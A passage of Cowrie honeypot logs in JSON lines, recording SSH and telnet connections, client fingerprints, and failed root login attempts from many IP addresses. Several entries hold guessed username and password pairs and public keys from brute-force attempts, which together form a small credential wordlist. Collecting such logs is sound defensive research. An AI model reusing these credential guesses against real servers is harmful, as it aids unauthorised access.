16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:38.777312Z","src_ip":"103.172.78.219","session":"06c24d3de062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22121992","message":"login attempt [root/22121992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:39.542323Z","src_ip":"103.172.78.219","session":"06c24d3de062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:40.798590Z","src_ip":"103.172.78.219","session":"06c24d3de062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.38121271133423,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:44.772663Z","src_ip":"79.139.59.21","session":"222b55c26079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.45.20","src_port":52934,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d43ecd2b3c4","protocol":"ssh","message":"New connection: 14.103.45.20:52934 (10.17.0.5:22) [session: 4d43ecd2b3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:58.905009Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33714,"dst_ip":"159.203.135.109","dst_port":22,"session":"f22d333b52d3","protocol":"ssh","message":"New connection: 137.184.228.138:33714 (159.203.135.109:22) [session: f22d333b52d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:59.259367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:59.264361Z","src_ip":"137.184.228.138","session":"f22d333b52d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:59.334700Z","src_ip":"137.184.228.138","session":"f22d333b52d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"computer","message":"login attempt [root/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:50:59.646652Z","src_ip":"137.184.228.138","session":"f22d333b52d3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:00.391797Z","src_ip":"14.103.45.20","session":"4d43ecd2b3c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:00.396817Z","src_ip":"14.103.45.20","session":"4d43ecd2b3c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:00.719244Z","src_ip":"137.184.228.138","session":"f22d333b52d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59052,"dst_ip":"159.203.135.109","dst_port":22,"session":"282400418d5d","protocol":"ssh","message":"New connection: 103.82.20.28:59052 (159.203.135.109:22) [session: 282400418d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:30.992486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:30.996526Z","src_ip":"103.82.20.28","session":"282400418d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:31.253759Z","src_ip":"103.82.20.28","session":"282400418d5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"porshe911","message":"login attempt [root/porshe911] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:32.025104Z","src_ip":"103.82.20.28","session":"282400418d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:33.287366Z","src_ip":"103.82.20.28","session":"282400418d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":48936,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d456ff90f5f","protocol":"ssh","message":"New connection: 176.147.144.172:48936 (159.203.135.109:22) [session: 3d456ff90f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:39.885641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:39.890765Z","src_ip":"176.147.144.172","session":"3d456ff90f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:39.986137Z","src_ip":"176.147.144.172","session":"3d456ff90f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser@2024","message":"login attempt [testuser/testuser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:40.402415Z","src_ip":"176.147.144.172","session":"3d456ff90f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:41.500897Z","src_ip":"176.147.144.172","session":"3d456ff90f5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":44236,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae24250517db","protocol":"ssh","message":"New connection: 87.226.190.225:44236 (10.17.0.5:22) [session: ae24250517db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:44.579392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:44.583796Z","src_ip":"87.226.190.225","session":"ae24250517db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:44.746102Z","src_ip":"87.226.190.225","session":"ae24250517db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerasdf","message":"login attempt [root/qwerasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:45.413615Z","src_ip":"87.226.190.225","session":"ae24250517db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.36.194","src_port":47708,"dst_ip":"10.17.0.5","dst_port":22,"session":"d204a3d10a99","protocol":"ssh","message":"New connection: 62.210.36.194:47708 (10.17.0.5:22) [session: d204a3d10a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.255784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.260265Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.347520Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.574968Z","src_ip":"87.226.190.225","session":"ae24250517db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:16:9e:03:19:39:b3:da:70:c4:8f:57:a3:4e:ba:f0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFL2gERUkTOKn0K+GqF5dmba3V7QUuRWahILvKrJbqjn","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 21:16:9e:03:19:39:b3:da:70:c4:8f:57:a3:4e:ba:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.742063Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:16:9e:03:19:39:b3:da:70:c4:8f:57:a3:4e:ba:f0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFL2gERUkTOKn0K+GqF5dmba3V7QUuRWahILvKrJbqjn","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.745874Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:28:0a:44:23:7a:f3:37:4a:00:59:96:66:a5:28:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0sv0LHddTw/9MNFrE86OFOhrJG9BUhxLYkoBx5TKvM2z8I8OLljPCYT8ZYdmqIgBhndiaKw5Q17YresFKsjDpVMBsYaUNPxBHja5wdQ1x/xpLfxRh0C8Il+A14yDzDSghDugjUcfmCt4s3Tgx8QP4vSiEX2rbDI//X0N9dww8LvTCOGLlAYUKsEma5o/fMHcUp4O9DAP4HrKuze4wdB9jQ9uZiOUQHapKQjcqp/m2ppSX71UaiTihvdzH0yd1mtAps4KL+3LQb8TLVcgbY9QNUPCNBdlBelzSpO/3eqUy/t5BhljYntW2vINyqS/E8ul8ylJ81EP1ENixa8nWLT63","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:28:0a:44:23:7a:f3:37:4a:00:59:96:66:a5:28:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.832462Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:28:0a:44:23:7a:f3:37:4a:00:59:96:66:a5:28:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0sv0LHddTw/9MNFrE86OFOhrJG9BUhxLYkoBx5TKvM2z8I8OLljPCYT8ZYdmqIgBhndiaKw5Q17YresFKsjDpVMBsYaUNPxBHja5wdQ1x/xpLfxRh0C8Il+A14yDzDSghDugjUcfmCt4s3Tgx8QP4vSiEX2rbDI//X0N9dww8LvTCOGLlAYUKsEma5o/fMHcUp4O9DAP4HrKuze4wdB9jQ9uZiOUQHapKQjcqp/m2ppSX71UaiTihvdzH0yd1mtAps4KL+3LQb8TLVcgbY9QNUPCNBdlBelzSpO/3eqUy/t5BhljYntW2vINyqS/E8ul8ylJ81EP1ENixa8nWLT63","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.835892Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:4c:f3:5a:19:b0:c7:8e:77:37:c1:c9:e6:43:d1:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5UpaUBYG7JzWwwE86yI+Kww14RvfkRMuygzV8Ir1MoxzTIU7e3laq1wUSccN+5jeL9XWm4dJQ36iPqMwowh9uexoFzpViA5IHDltVxcB1OHW+3QsXkuC75deQbj0gpoS9zox4emqg6IHLt7CwLbtirFYgrNK7I34wWj8js8kN6dB0dLUmmOLBbBXVHW95okhwbW3zU0kcTvSzjUsdgFbTP+iXmKPfDKEYDG3DJ03HC5bItejG23Q0nQr0m2His4iByxh0hRE5s/DEeTPelaERDkkLUuRafX8dzOT3X/m/PRssdORibdM5QIpZUHERzpnfxnjP5Q8G0qe0e6Gzi4dWUThGfPuyxrrxY9ZI5KDj2J+0uL7evys3noIzsY3xNENLyh0HwhogGu7lDGqpy7FXwV+rN5DY88yOEC/4YMJxOsu52t/yn6DjV1OCi2RCPg81QVq02KCUPrIYEs33h7AgnvZQDbC6UGKA9slDwBooZgQ7DuaW2611zJK4vXGNhvklnEBIM1Lv0m1rh0MHCxjHNn+yEU6oYLI5iNEWjXqSrVq4xFJBKE7uaEZOANu3mD2E6fFklQhCxJXqbzOQENBLdsK0R6KIe1apUJbdy8oOe1xB320bKKlwp+CAVXHYFISU2Rj2eM5n3cxtTqIRLG3S5dPWCBZ9nLKQJoCGjxN6dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:4c:f3:5a:19:b0:c7:8e:77:37:c1:c9:e6:43:d1:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.922218Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:4c:f3:5a:19:b0:c7:8e:77:37:c1:c9:e6:43:d1:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5UpaUBYG7JzWwwE86yI+Kww14RvfkRMuygzV8Ir1MoxzTIU7e3laq1wUSccN+5jeL9XWm4dJQ36iPqMwowh9uexoFzpViA5IHDltVxcB1OHW+3QsXkuC75deQbj0gpoS9zox4emqg6IHLt7CwLbtirFYgrNK7I34wWj8js8kN6dB0dLUmmOLBbBXVHW95okhwbW3zU0kcTvSzjUsdgFbTP+iXmKPfDKEYDG3DJ03HC5bItejG23Q0nQr0m2His4iByxh0hRE5s/DEeTPelaERDkkLUuRafX8dzOT3X/m/PRssdORibdM5QIpZUHERzpnfxnjP5Q8G0qe0e6Gzi4dWUThGfPuyxrrxY9ZI5KDj2J+0uL7evys3noIzsY3xNENLyh0HwhogGu7lDGqpy7FXwV+rN5DY88yOEC/4YMJxOsu52t/yn6DjV1OCi2RCPg81QVq02KCUPrIYEs33h7AgnvZQDbC6UGKA9slDwBooZgQ7DuaW2611zJK4vXGNhvklnEBIM1Lv0m1rh0MHCxjHNn+yEU6oYLI5iNEWjXqSrVq4xFJBKE7uaEZOANu3mD2E6fFklQhCxJXqbzOQENBLdsK0R6KIe1apUJbdy8oOe1xB320bKKlwp+CAVXHYFISU2Rj2eM5n3cxtTqIRLG3S5dPWCBZ9nLKQJoCGjxN6dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:46.926766Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:c0:b1:e4:1c:f5:49:e5:81:41:58:67:a9:d3:01:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaPpL39U9oVcYxXyT8coqRXfsHlswh3i+YZe+1nu6HWBOhLoUl1GsapIsyGXwy1yzDdFYFnimprJHKJNe9nbMt29wxh7OM3mjzFOxOvZ9ppnfBtYit7eltRk7UgcuBuLZb0YdW7vVPXCmFN+3ltmgtohnTobckUQIO5uoBskWpfw2kFEwXCaFzap/cPIjrKDJWm9ER7I5sm4JF1ZqpSFkgSz1/XowGWZBqL0N5y9dtLgZnbyftErXFod0CxjGU7MhyNX+g5MFp9liL1SBmBtHFUFhIFtwTk/cPrBO2ZrJLbtQrDS6WwS0vJfT7W1URATpf4kjsfriKLeGjPIMek2uP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:c0:b1:e4:1c:f5:49:e5:81:41:58:67:a9:d3:01:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:51:47.010421Z","src_ip":"62.210.36.194","session":"d204a3d10a99","protocol":"ssh"}
